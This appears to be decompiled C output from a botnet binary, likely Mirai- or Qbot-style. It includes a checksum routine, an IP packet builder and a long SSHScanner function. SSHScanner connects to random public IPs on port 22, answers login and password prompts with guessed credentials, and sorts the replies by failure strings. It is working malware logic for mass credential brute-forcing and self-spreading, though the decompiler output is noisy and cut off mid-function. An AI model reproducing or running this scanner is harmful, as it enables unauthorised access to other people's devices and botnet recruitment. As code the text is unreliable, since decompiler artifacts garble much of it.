char * v27; // 0x8061710 | |
bool v28; | |
int32_t v29 = 0; // 0x804a502 | |
int32_t v30 = 0; | |
int32_t v31 = a2; | |
if (a2 > 1) { | |
int32_t v32 = 0; // 0x804a4da | |
int32_t v33 = (int32_t)*a1 + v32; // 0x804a4da | |
int32_t v34 = v33 < v32; // 0x804a4dd | |
int16_t * v35 = (int16_t *)((int32_t)a1 + 2); | |
int32_t v36 = a2 - 2; // 0x804a4e4 | |
// branch -> 0x804a4cd | |
while (v36 > 1) { | |
// 0x804a4cd | |
v32 = v33; | |
a1 = v35; | |
v33 = (int32_t)*a1 + v32; | |
v34 += (int32_t)(v33 < v32); | |
v35 = (int16_t *)((int32_t)a1 + 2); | |
v36 -= 2; | |
// continue -> 0x804a4cd | |
} | |
// 0x804a4e8 | |
v29 = v33; | |
a1 = v35; | |
v30 = v34; | |
v31 = (a2 - 2) % 2; | |
// branch -> 0x804a4ee | |
} | |
uint32_t v37 = v29; | |
int32_t v38 = v30; | |
if (v31 >= 1) { | |
int32_t v39 = (int32_t)*(char *)a1 + v29; // 0x804a502 | |
v37 = v39; | |
v38 = (int32_t)(v39 < v29) + v30; | |
// branch -> 0x804a52f | |
} | |
int32_t v40 = 0x10000 * v38 | v37 / 0x10000; // 0x804a53558 | |
int32_t v41 = v38 / 0x10000; // 0x804a53959 | |
int32_t v42 = v37 % 0x10000; // 0x804a54662 | |
if ((v40 || v41) == 0) { | |
// 0x804a542 | |
return v42 ^ 0xffff; | |
} | |
uint32_t v43 = v40 + v42; // 0x804a525 | |
uint32_t v44 = (int32_t)(v43 < v42) + v41; // 0x804a527 | |
int32_t v45 = 0x10000 * v44 | v43 / 0x10000; // 0x804a535 | |
int32_t v46 = v44 / 0x10000; // 0x804a539 | |
int32_t v47 = v43 % 0x10000; // 0x804a546 | |
while ((v45 || v46) != 0) { | |
// 0x804a50a | |
v42 = v47; | |
v43 = v45 + v42; | |
v44 = (int32_t)(v43 < v42) + v46; | |
v45 = 0x10000 * v44 | v43 / 0x10000; | |
v46 = v44 / 0x10000; | |
v47 = v43 % 0x10000; | |
// continue -> 0x804a50a | |
} | |
// 0x804a52f | |
// branch -> 0x804a542 | |
// 0x804a542 | |
return v47 ^ 0xffff; | |
} | |
// Address range: 0x804a60b - 0x804a68e | |
int32_t makeIPPacket(char * a1, int32_t result, int32_t a3, int32_t a4, int32_t a5) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
// 0x804a60b | |
*a1 = (char)((int32_t)*a1 & 240 | 5); | |
*a1 = *a1 % 16 | 64; | |
rand_cmwc(); | |
rand_cmwc(); | |
return result; | |
} | |
// Address range: 0x804a68f - 0x804a6ba | |
int32_t sclose(int32_t fd) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
int32_t result = 1; | |
if (fd > 2) { | |
// 0x804a6a4 | |
close(fd); | |
result = 0; | |
// branch -> 0x804a6b6 | |
} | |
// 0x804a6b6 | |
return result; | |
} | |
// Address range: 0x804a6bb - 0x804d9b7 | |
int32_t SSHScanner(int32_t size, struct sockaddr * a2, struct _TYPEDEF_fd_set * a3, struct _TYPEDEF_fd_set * a4, struct timeval * a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9) { | |
char * str6[2]; // 0x805b040 | |
char (*v1)[21]; // 0x805b044 | |
int32_t v2; // 0x805b048 | |
int32_t v3; // 0x805b1d0 | |
int32_t v4; // 0x805b1d4 | |
int16_t v5; // 0x805b240 | |
int32_t v6; // 0x805b3a4 | |
char * v7; // 0x805b480 | |
int32_t v8; // 0x805b488 | |
int32_t v9; // 0x805b48c | |
char * v10; // 0x805b490 | |
char v11; // 0x805b491 | |
char v12; // 0x805b493 | |
char v13; // 0x805b494 | |
char v14; // 0x805b496 | |
char v15; // 0x805b497 | |
char v16; // 0x805b498 | |
char v17; // 0x805b499 | |
char v18; // 0x805b49a | |
int32_t v19; // 0x805b4a0 | |
int32_t v20; // 0x805b4a4 | |
int32_t v21; // 0x805b4a8 | |
int64_t v22; // 0x805d49f | |
char * v23; // 0x805f4a0 | |
int32_t v24; // 0x8061708 | |
int32_t v25; // 0x806170c | |
char * v26; // 0x8061710 | |
bool v27; | |
char * v28 = (char *)size; | |
int32_t v29 = getdtablesize(); // 0x804a6c7 | |
int32_t v30 = 3 * ((v29 >> 31) / 0x40000000 + v29) / 4; // 0x804a6e1 | |
int32_t v31 = v30 > 512 ? 512 : v30; | |
htons(22); | |
int32_t v32; | |
int32_t v33 = v32 - (24 * v31 + 30 & -16) + 47; // 0x804a76f | |
int32_t v34 = v33 & -16; // 0x804a772 | |
memset((char *)v34, v33 & -256, 5 * v31); | |
struct timeval * timeout; | |
struct _TYPEDEF_fd_set * option_value; | |
struct _TYPEDEF_fd_set * v35; | |
struct sockaddr * addr; | |
char * t; | |
int32_t option_name; // 0x804ad20_0 | |
int32_t v36; | |
int32_t v37; | |
int32_t v38; // 0x804a966 | |
int32_t v39; // 0x804a9aa1617 | |
if (v31 > 0) { | |
// branch -> 0x804a7a7 | |
for (int32_t i = 0; i < v31; i++) { | |
// 0x804a7a7 | |
malloc(size); | |
malloc(size); | |
memset(v28, (int32_t)a2, (int32_t)a3); | |
// continue -> 0x804a7a7 | |
} | |
// 0x804a81b | |
v39 = v34 | 10; | |
option_name = &v36; | |
timeout = a5; | |
option_value = a4; | |
v35 = a3; | |
addr = a2; | |
t = v28; | |
v37 = 0; | |
// branch -> 0x804d9a7 | |
while (true) { | |
// 0x804d9a7 | |
v38 = v37; | |
// branch -> 0x804d9a7 | |
lab_0x804d9a7: | |
while (true) { | |
// 0x804d9a7 | |
if (v38 < v31) { | |
// break -> 0x804a83b | |
break; | |
} | |
v38 = 0; | |
// continue -> 0x804d9a7 | |
} | |
int32_t v40 = 24 * v38; // 0x804a847 | |
char * v41 = (char *)(v40 + (v34 | 8)); // 0x804a84a_0 | |
struct timeval * v42; | |
struct timeval * v43; | |
struct _TYPEDEF_fd_set * v44; | |
struct _TYPEDEF_fd_set * v45; | |
struct sockaddr * v46; | |
char * v47; | |
int32_t v48; // 0x804b487 | |
int32_t v49; // 0x804cf30 | |
switch (*v41) { | |
case 0: { | |
int32_t v50 = v40 + v34; // 0x804a883 | |
int32_t * v51 = (int32_t *)(v50 + 20); // 0x804a888_0 | |
int32_t type = (int32_t)addr; | |
int32_t protocol = (int32_t)v35; | |
memset(t, type, protocol); | |
char * v52 = (char *)(v40 + (v34 | 9)); // 0x804a8b4_0 | |
int32_t * v53; | |
if (*v52 == 0) { | |
char * v54 = (char *)(v40 + (v34 | 11)); // 0x804a956_0 | |
*v54 = (char)((int32_t)*v54 + 1); | |
if (*v54 == 28) { | |
// 0x804a987 | |
*v54 = 0; | |
char * v55 = (char *)(v40 + v39); // 0x804a9aa_0 | |
*v55 = (char)((int32_t)*v55 + 1); | |
// branch -> 0x804a9c3 | |
} else { | |
// 0x804a947 | |
// branch -> 0x804a9c3 | |
} | |
// 0x804a9c3 | |
if (*(char *)(v40 + v39) == 17) { | |
// 0x804a9db | |
*v52 = 1; | |
// branch -> 0x804d9a4 | |
} else { | |
// 0x804a9c3 | |
v53 = (int32_t *)v50; | |
// branch -> 0x804a9f4 | |
lab_0x804a9f4:; | |
int32_t host_short = (int32_t)t; | |
htons((int16_t)host_short); | |
socket(host_short, type, protocol); | |
socket(host_short, type, protocol); | |
int32_t option_len = (int32_t)timeout; | |
setsockopt(host_short, type, protocol, (char *)option_value, option_len); | |
setsockopt(host_short, type, protocol, (char *)option_value, option_len); | |
if (*v53 != -1) { | |
// 0x804ab08 | |
fcntl(host_short, type); | |
fcntl(host_short, type); | |
fcntl(host_short, type); | |
if (connect(host_short, addr, protocol) == -1) { | |
// 0x804ab91 | |
if (*__errno_location() != 115) { | |
// 0x804ab9d | |
sclose(host_short); | |
*v52 = 1; | |
// branch -> 0x804d9a4 | |
lab_0x804d9a4: | |
// 0x804d9a4 | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} | |
} | |
// 0x804abd0 | |
*v41 = 1; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4; | |
} | |
} | |
// 0x804d9a4 | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
int32_t * v56 = (int32_t *)v50; // 0x804a8f1_0 | |
*v56 = 0; | |
getRandomPublicIP(); | |
getRandomPublicIP(); | |
v53 = v56; | |
// branch -> 0x804a9f4 | |
goto lab_0x804a9f4; | |
} | |
lab_0x804d9a4_4: | |
// 0x804d9a4 | |
option_value = v44; | |
v35 = v45; | |
addr = v46; | |
t = v47; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} | |
case 1: { | |
int32_t v57 = v40 + v34; // 0x804ac12 | |
int32_t * v58 = (int32_t *)(v57 + 12); // 0x804ac17_0 | |
if (*v58 == 0) { | |
// 0x804ac1d | |
time((int32_t *)t); | |
time((int32_t *)t); | |
// branch -> 0x804ac41 | |
} | |
// 0x804ac41 | |
int32_t readfds; | |
memset((char *)&readfds, 0, 32); | |
int32_t * v59 = (int32_t *)v57; // 0x804ac69_0 | |
uint32_t v60 = *v59; // 0x804ac69 | |
int32_t v61; | |
int32_t * v62 = (int32_t *)(4 * v60 / 32 - 168 + (int32_t)&v61); // 0x804ac86_0 | |
*v62 = *v62 | 1 << *v59 % 32; | |
int32_t errorfds = 0; | |
int32_t v63 = select(0, (struct _TYPEDEF_fd_set *)&readfds, NULL, (struct _TYPEDEF_fd_set *)&errorfds, timeout); // 0x804acde | |
struct _TYPEDEF_fd_set * v64; | |
struct _TYPEDEF_fd_set * v65; | |
struct sockaddr * v66; | |
char * t2; | |
if (v63 == 1) { | |
int32_t option_value2 = 4; | |
v36 = 0; | |
getsockopt(SOL_SOCKET, SO_ERROR, option_name, (char *)&option_value2, &timeout->e0); | |
if (v36 == 0) { | |
// 0x804ad93 | |
fcntl(4, fcntl(3, F_DUPFD) & -2049); | |
*v58 = 0; | |
memset(NULL, 1024, option_name); | |
*v41 = 2; | |
v44 = (struct _TYPEDEF_fd_set *)&option_value2; | |
v45 = (struct _TYPEDEF_fd_set *)&v36; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_4; | |
} else { | |
// 0x804ad4c | |
sclose(1); | |
*v41 = 0; | |
v64 = (struct _TYPEDEF_fd_set *)&option_value2; | |
v65 = (struct _TYPEDEF_fd_set *)&v36; | |
v66 = (struct sockaddr *)4; | |
t2 = (char *)1; | |
// branch -> 0x804aeb0 | |
lab_0x804aeb0_2: | |
// 0x804aeb0 | |
if (*v58 + 10 >= time((int32_t *)t2)) { | |
v44 = v64; | |
v45 = v65; | |
v46 = v66; | |
v47 = t2; | |
goto lab_0x804d9a4_4; | |
} | |
lab_0x804aedd: | |
// 0x804aedd | |
sclose((int32_t)t2); | |
*v41 = 0; | |
v44 = v64; | |
v45 = v65; | |
v46 = v66; | |
v47 = t2; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_4; | |
} | |
lab_0x804d9a4_8: | |
// 0x804d9a4 | |
timeout = (struct timeval *)v48; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = v46; | |
t = v47; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804ae68 | |
if (v63 != -1) { | |
v64 = (struct _TYPEDEF_fd_set *)&errorfds; | |
v65 = NULL; | |
v66 = (struct sockaddr *)&readfds; | |
t2 = NULL; | |
goto lab_0x804aeb0_2; | |
} | |
// 0x804ae6e | |
sclose(0); | |
*v41 = 0; | |
v64 = (struct _TYPEDEF_fd_set *)&errorfds; | |
v65 = NULL; | |
v66 = (struct sockaddr *)&readfds; | |
t2 = NULL; | |
// branch -> 0x804aeb0 | |
goto lab_0x804aeb0_2; | |
} | |
int32_t v67 = *v58; // 0x804aec4 | |
int32_t v68 = v67 + 10; // ebx | |
uint32_t v69 = v68; // 0x804aed5 | |
if (v69 < time((int32_t *)t2)) { | |
goto lab_0x804aedd; | |
} | |
v43 = timeout; | |
v44 = v64; | |
v45 = v65; | |
v46 = v66; | |
v47 = t2; | |
goto lab_0x804d9a4_8; | |
break; | |
} | |
case 2: { | |
int32_t v70 = v40 + v34; // 0x804af33 | |
int32_t * v71 = (int32_t *)(v70 + 12); // 0x804af38_0 | |
if (*v71 == 0) { | |
// 0x804af3e | |
time((int32_t *)t); | |
time((int32_t *)t); | |
// branch -> 0x804af62 | |
} | |
int16_t * v72 = (int16_t *)(v70 + 16); | |
int32_t * v73 = (int32_t *)(v70 + 20); // 0x804af8f_0 | |
int32_t v74 = *v73; // 0x804af8f | |
struct timeval * v75 = (struct timeval *)v74; | |
struct sockaddr * v76; | |
char * v77; | |
if (readUntil("ogin:", NULL, 0, 0x2710, v74, 1024, (int32_t)*v72, a8) == 0) { | |
int32_t v78 = *v73; // 0x804b0cd | |
struct timeval * v79 = (struct timeval *)v78; | |
struct sockaddr * v80; | |
char * v81; | |
if (readUntil("user:", NULL, 0, 0x2710, v78, 1024, (int32_t)*v72, a8) == 0) { | |
int32_t v82 = *v73; // 0x804b20b | |
struct timeval * v83 = (struct timeval *)v82; | |
struct sockaddr * v84; | |
char * v85; | |
if (readUntil("name", NULL, 0, 0x2710, v82, 1024, (int32_t)*v72, a8) == 0) { | |
int32_t v86 = *v73; // 0x804b349 | |
struct timeval * v87 = (struct timeval *)v86; | |
struct sockaddr * v88; | |
char * v89; | |
if (readUntil("pass", NULL, 0, 0x2710, v86, 1024, (int32_t)*v72, a8) == 0) { | |
// 0x804b45a | |
v48 = *v73; | |
if (readUntil("word", NULL, 0, 0x2710, v48, 1024, (int32_t)*v72, a8) == 0) { | |
int32_t str = *v73; // 0x804b5af | |
strlen((char *)str); | |
strlen((char *)str); | |
if (*v71 + 10 >= time((int32_t *)"word")) { | |
v46 = NULL; | |
v47 = "word"; | |
goto lab_0x804d9a4_8; | |
} | |
// 0x804b610 | |
sclose((int32_t)"word"); | |
*v41 = 0; | |
v46 = NULL; | |
v47 = "word"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_8; | |
} else { | |
// 0x804b4db | |
*v71 = 0; | |
*v72 = 0; | |
struct sockaddr * v90; | |
char * v91; | |
if (strstr("assword:", NULL) == NULL) { | |
// 0x804b54e | |
memset(NULL, 1024, 0); | |
v90 = (struct sockaddr *)1024; | |
v91 = NULL; | |
// branch -> 0x804b57f | |
} else { | |
// 0x804b538 | |
*v41 = 5; | |
v90 = NULL; | |
v91 = "assword:"; | |
// branch -> 0x804b57f | |
} | |
// 0x804b57f | |
*v41 = 3; | |
v46 = v90; | |
v47 = v91; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_8; | |
} | |
lab_0x804d9a4_9: | |
// 0x804d9a4 | |
timeout = v87; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = v88; | |
t = v89; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804b39d | |
*v71 = 0; | |
*v72 = 0; | |
if (strstr("assword:", NULL) == NULL) { | |
// 0x804b410 | |
memset(NULL, 1024, 0); | |
v88 = (struct sockaddr *)1024; | |
v89 = NULL; | |
// branch -> 0x804b441 | |
} else { | |
// 0x804b3fa | |
*v41 = 5; | |
v88 = NULL; | |
v89 = "assword:"; | |
// branch -> 0x804b441 | |
} | |
// 0x804b441 | |
*v41 = 3; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_9; | |
} | |
lab_0x804d9a4_10: | |
// 0x804d9a4 | |
timeout = v83; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = v84; | |
t = v85; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804b25f | |
*v71 = 0; | |
*v72 = 0; | |
if (strstr("assword:", NULL) == NULL) { | |
// 0x804b2d2 | |
memset(NULL, 1024, 0); | |
v84 = (struct sockaddr *)1024; | |
v85 = NULL; | |
// branch -> 0x804b303 | |
} else { | |
// 0x804b2bc | |
*v41 = 5; | |
v84 = NULL; | |
v85 = "assword:"; | |
// branch -> 0x804b303 | |
} | |
// 0x804b303 | |
*v41 = 3; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_10; | |
} | |
lab_0x804d9a4_11: | |
// 0x804d9a4 | |
timeout = v79; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = v80; | |
t = v81; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804b121 | |
*v71 = 0; | |
*v72 = 0; | |
if (strstr("assword:", NULL) == NULL) { | |
// 0x804b194 | |
memset(NULL, 1024, 0); | |
v80 = (struct sockaddr *)1024; | |
v81 = NULL; | |
// branch -> 0x804b1c5 | |
} else { | |
// 0x804b17e | |
*v41 = 5; | |
v80 = NULL; | |
v81 = "assword:"; | |
// branch -> 0x804b1c5 | |
} | |
// 0x804b1c5 | |
*v41 = 3; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_11; | |
} | |
lab_0x804d9a4_12: | |
// 0x804d9a4 | |
timeout = v75; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = v76; | |
t = v77; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804afe3 | |
*v71 = 0; | |
*v72 = 0; | |
if (strstr("assword:", NULL) == NULL) { | |
// 0x804b056 | |
memset(NULL, 1024, 0); | |
v76 = (struct sockaddr *)1024; | |
v77 = NULL; | |
// branch -> 0x804b087 | |
} else { | |
// 0x804b040 | |
*v41 = 5; | |
v76 = NULL; | |
v77 = "assword:"; | |
// branch -> 0x804b087 | |
} | |
// 0x804b087 | |
*v41 = 3; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_12; | |
} | |
lab_0x804d9a4_14: | |
// 0x804d9a4 | |
v35 = (struct _TYPEDEF_fd_set *)0x4000; | |
addr = (struct sockaddr *)2; | |
t = v47; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} | |
case 3: { | |
// 0x804b657 | |
int32_t str2; // 0x804b66e | |
int32_t len = strlen((char *)str2); | |
int32_t flags = (int32_t)option_value; | |
int32_t sock; // 0x804b6a9 | |
if (send(sock, (char *)len, 0x4000, flags) > 0) { | |
// 0x804b725 | |
if (send((int32_t)"\r\n", (char *)2, 0x4000, flags) > 0) { | |
// 0x804b7a2 | |
*v41 = 4; | |
v47 = "\r\n"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_14; | |
} else { | |
// 0x804b75b | |
sclose((int32_t)"\r\n"); | |
*v41 = 0; | |
v47 = "\r\n"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_14; | |
} | |
lab_0x804d9a4_15: | |
// 0x804d9a4 | |
v35 = (struct _TYPEDEF_fd_set *)0x4000; | |
addr = (struct sockaddr *)len; | |
t = (char *)sock; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804b6de | |
sclose(sock); | |
*v41 = 0; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_15; | |
} | |
lab_0x804d9a4_18: | |
// 0x804d9a4 | |
timeout = v42; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = (struct sockaddr *)1; | |
t = v47; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} | |
case 4: { | |
int32_t v92 = v40 + v34; // 0x804b7ca | |
int32_t * v93 = (int32_t *)(v92 + 12); // 0x804b7cf_0 | |
if (*v93 == 0) { | |
// 0x804b7d5 | |
time((int32_t *)t); | |
time((int32_t *)t); | |
// branch -> 0x804b7f9 | |
} | |
int16_t * v94 = (int16_t *)(v92 + 16); | |
int32_t v95 = (int32_t)*v94; // 0x804b80d | |
int32_t * v96 = (int32_t *)(v92 + 20); // 0x804b826_0 | |
int32_t v97 = *v96; // 0x804b826 | |
if (readUntil("pass", (struct _TYPEDEF_fd_set *)1, 0, 0x2710, v97, 1024, v95, a8) == 0) { | |
int32_t v98 = (int32_t)*v94; // 0x804b94b | |
int32_t v99 = *v96; // 0x804b964 | |
v42 = (struct timeval *)v99; | |
if (readUntil("word", (struct _TYPEDEF_fd_set *)1, 0, 0x2710, v99, 1024, v98, a8) == 0) { | |
// 0x804ba75 | |
if (strstr("invalid", (char *)1) == NULL) { | |
// 0x804bae6 | |
if (strstr("incorrect", (char *)1) == NULL) { | |
// 0x804bb57 | |
if (strstr("fail", (char *)1) == NULL) { | |
// 0x804bbc8 | |
if (strstr("again", (char *)1) == NULL) { | |
// 0x804bc39 | |
if (strstr("wrong", (char *)1) == NULL) { | |
// 0x804bcaa | |
if (strstr("accessdenied", (char *)1) == NULL) { | |
// 0x804bd1b | |
if (strstr("denied", (char *)1) == NULL) { | |
// 0x804bd8c | |
if (strstr("error", (char *)1) == NULL) { | |
// 0x804bdfd | |
if (strstr("bad", (char *)1) == NULL) { | |
int32_t str3 = *v96; // 0x804be85 | |
strlen((char *)str3); | |
strlen((char *)str3); | |
if (*v93 + 10 >= time((int32_t *)"bad")) { | |
v47 = "bad"; | |
goto lab_0x804d9a4_18; | |
} | |
// 0x804bee6 | |
sclose((int32_t)"bad"); | |
*v41 = 0; | |
v47 = "bad"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_18; | |
} else { | |
// 0x804be27 | |
sclose((int32_t)"bad"); | |
*v41 = 0; | |
v47 = "bad"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_18; | |
} | |
lab_0x804d9a4_19: | |
// 0x804d9a4 | |
timeout = v42; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = (struct sockaddr *)1; | |
t = v47; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804bdb6 | |
sclose((int32_t)"error"); | |
*v41 = 0; | |
v47 = "error"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_19; | |
} | |
lab_0x804d9a4_20: | |
// 0x804d9a4 | |
timeout = v42; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = (struct sockaddr *)1; | |
t = v47; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804bd45 | |
sclose((int32_t)"denied"); | |
*v41 = 0; | |
v47 = "denied"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_20; | |
} | |
lab_0x804d9a4_21: | |
// 0x804d9a4 | |
timeout = v42; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = (struct sockaddr *)1; | |
t = v47; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804bcd4 | |
sclose((int32_t)"accessdenied"); | |
*v41 = 0; | |
v47 = "accessdenied"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_21; | |
} | |
lab_0x804d9a4_22: | |
// 0x804d9a4 | |
timeout = v42; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = (struct sockaddr *)1; | |
t = v47; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804bc63 | |
sclose((int32_t)"wrong"); | |
*v41 = 0; | |
v47 = "wrong"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_22; | |
} | |
lab_0x804d9a4_23: | |
// 0x804d9a4 | |
timeout = v42; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = (struct sockaddr *)1; | |
t = v47; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804bbf2 | |
sclose((int32_t)"again"); | |
*v41 = 0; | |
v47 = "again"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_23; | |
} | |
lab_0x804d9a4_24: | |
// 0x804d9a4 | |
timeout = v42; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = (struct sockaddr *)1; | |
t = v47; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804bb81 | |
sclose((int32_t)"fail"); | |
*v41 = 0; | |
v47 = "fail"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_24; | |
} | |
lab_0x804d9a4_25: | |
// 0x804d9a4 | |
timeout = v42; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = (struct sockaddr *)1; | |
t = v47; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804bb10 | |
sclose((int32_t)"incorrect"); | |
*v41 = 0; | |
v47 = "incorrect"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_25; | |
} | |
lab_0x804d9a4_26: | |
// 0x804d9a4 | |
timeout = v42; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = (struct sockaddr *)1; | |
t = v47; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804ba9f | |
sclose((int32_t)"invalid"); | |
*v41 = 0; | |
v47 = "invalid"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_26; | |
} | |
lab_0x804d9a4_27: | |
// 0x804d9a4 | |
timeout = v42; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = (struct sockaddr *)1024; | |
t = NULL; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804b9b8 | |
*v93 = 0; | |
*v94 = 0; | |
*v41 = strstr("word", (char *)1) == NULL ? 7 : 5; | |
memset(NULL, 1024, 0); | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_27; | |
} | |
lab_0x804d9a4_28: | |
// 0x804d9a4 | |
timeout = (struct timeval *)v97; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = (struct sockaddr *)1024; | |
t = NULL; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
// 0x804b87a | |
*v93 = 0; | |
*v94 = 0; | |
*v41 = strstr("pass", (char *)1) == NULL ? 7 : 5; | |
memset(NULL, 1024, 0); | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_28; | |
} | |
lab_0x804d9a4_30: | |
// 0x804d9a4 | |
v35 = (struct _TYPEDEF_fd_set *)0x4000; | |
addr = (struct sockaddr *)2; | |
t = v47; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} | |
case 5: { | |
// 0x804bf2d | |
int32_t str4; // 0x804bf44 | |
int32_t len2 = strlen((char *)str4); | |
int32_t flags2 = (int32_t)option_value; | |
int32_t sock2; // 0x804bf7f | |
if (send(sock2, (char *)len2, 0x4000, flags2) > 0) { | |
// 0x804bffb | |
if (send((int32_t)"\r\n", (char *)2, 0x4000, flags2) > 0) { | |
// 0x804c078 | |
*v41 = 6; | |
v47 = "\r\n"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_30; | |
} else { | |
// 0x804c031 | |
sclose((int32_t)"\r\n"); | |
*v41 = 0; | |
v47 = "\r\n"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_30; | |
} | |
lab_0x804d9a4_31: | |
// 0x804d9a4 | |
v35 = (struct _TYPEDEF_fd_set *)0x4000; | |
addr = (struct sockaddr *)len2; | |
t = (char *)sock2; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} else { | |
